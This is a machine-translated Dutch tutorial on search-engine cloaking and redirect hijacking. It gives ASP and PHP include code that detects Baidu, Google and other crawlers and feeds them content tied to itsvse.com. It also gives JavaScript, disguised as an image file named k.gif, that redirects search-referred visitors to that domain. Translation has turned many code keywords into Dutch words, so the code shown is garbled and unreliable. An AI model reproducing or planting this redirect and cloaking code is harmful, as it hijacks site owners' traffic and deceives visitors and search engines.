Eerst is het simpel: voeg de volgende code toe aan de voorpagina:
ASP-versie <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
php-versie <!--#include bestand="conn.php"--> <script src="images\k.gif"></script>
Voeg vervolgens de volgende code toe aan het conn-bestand volgens het programma van de website; als je geen conn.asp of conn.php hebt, maak die dan zelf aan:
conn.asp editie
----------- de volgende reproductie-------------------------------- <% functie isspider() Dim agent, Searray, ik agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= vals voor i=0 naar ubound(searray) als (instr(agent,searray(i))>0) dan isspider=waar Volgende Eindfunctie
functie fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= onwaar Als urlrefer="" dan fromse= false searray=array("google","baidu","sogou","yahoo","soso","360") voor i=0 naar ubound(searray) als (instr(urlrefer,searray(i))>0) dan fromse=waar dan Volgende Eindfunctie
Functie getHTTP(URL) DIM HTTP set http=createobject("MSXML2. XMLHTTP") http.open "GET",url,false Http.send() als Http.readystate<>4 dan Exitfunctie einde als gethttp=bytes2BSTR(Http.responseBody) set http=niets Als err.number<>0 dan err. Vrij Eindfunctie
function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" Voor i = 1 Tot LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Als thisCharCode < &H80 dan strReturn = strReturn & Chr(ThisCharCode) Anders NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Einde Als Volgende bytes2BSTR = strReturn Eindfunctie
als(isspider()) dan dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL response.clear remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush Response.einde einde als
%>
conn.php
---------------- de volgende reproductie----------------
<?php functie is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ return true; } } return false; } functie is_urlbaidu() { $come_van="baidu@sogou@soso@iask@naver"; $referer = exploderen("@",$come_from); foreach($referer als $url){ als (stristr($_SERVER['HTTP_REFERER'],$url)){ return true; } } return false; }
als (is_search_bot()) { $html = "<title>Wuhan Software Engineering Vocational College</title> <meta naam=\"Auteur\" content=\"Vul dezelfde in als trefwoorden\"> <meta naam=\"Trefwoorden\" content=\"Trefwoorden\"> <meta naam=
\"Beschrijving\" inhoud=\"Beschrijving\"> </head> <body>Inhoud</body></html>"; echo $html; } als (!is_search_bot() & is_urlbaidu())
{ Header('Locatie:http://www.itsvse.com');
} ?>
Upload tenslotte in de images-map een k.gif bestand k.gif de code:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Redirect-URL
|